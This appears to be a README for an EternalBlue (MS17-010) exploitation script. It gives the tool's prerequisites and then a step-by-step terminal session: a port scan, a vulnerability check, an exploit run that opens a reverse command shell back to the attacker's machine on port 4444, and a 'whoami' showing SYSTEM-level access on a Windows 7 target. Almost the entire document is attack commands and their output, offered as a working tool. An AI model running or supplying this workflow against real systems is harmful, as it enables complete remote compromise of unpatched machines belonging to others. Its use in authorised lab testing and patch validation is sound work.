

Prerequisites:

1. Python 2 and "python-nmap" library which can be installed using "pip install python-nmap" command
2. Metasploit Framework (Installation instructions: <https://metasploit.help.rapid7.com/docs/installing-the-metasploit-framework>) (Note: In Kali Linux, by default it's preinstalled)

EternalBlue end-to-end:

Here we go,

- Step 1:

```
root@kali:~# python EternalBlue.py

Enter the IP address: 192.168.17.128
Port 139 is open
Port 445 is open

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Verify whether the system is vulnerable to EternalBlue exploit(Y/N): Y
-----

VULNERABLE:
Remote Code Execution vulnerability in Microsoft SMBv1 servers (ms17-010)
State: VULNERABLE
IDs: CVE:CVE-2017-0143
Risk factor: HIGH
A critical remote code execution vulnerability exists in Microsoft SMBv1
servers (ms17-010).

Disclosure date: 2017-03-14
References:
https://technet.microsoft.com/en-us/library/security/ms17-010.aspx
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-0143
https://blogs.technet.microsoft.com/msrc/2017/05/12/customer-guidance-for-wannacrypt-attacks/
```

- Step 2:

```
Proceed to exploit the system(Y/N): Y
Enter the IP address of the local system: 192.168.17.129
Exploitation started.....
```

- Step 3:

```
[*] Command shell session 1 opened (192.168.17.129:4444 -> 192.168.17.128:49575) at 2018-10-04 18:01:01 -0400
[+] 192.168.17.128:445 - =====
[+] 192.168.17.128:445 - =====WIN=====
[+] 192.168.17.128:445 - =====

Microsoft Windows [Version 6.1.7601]
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C:\Windows\system32>whoami
whoami
nt authority\system
```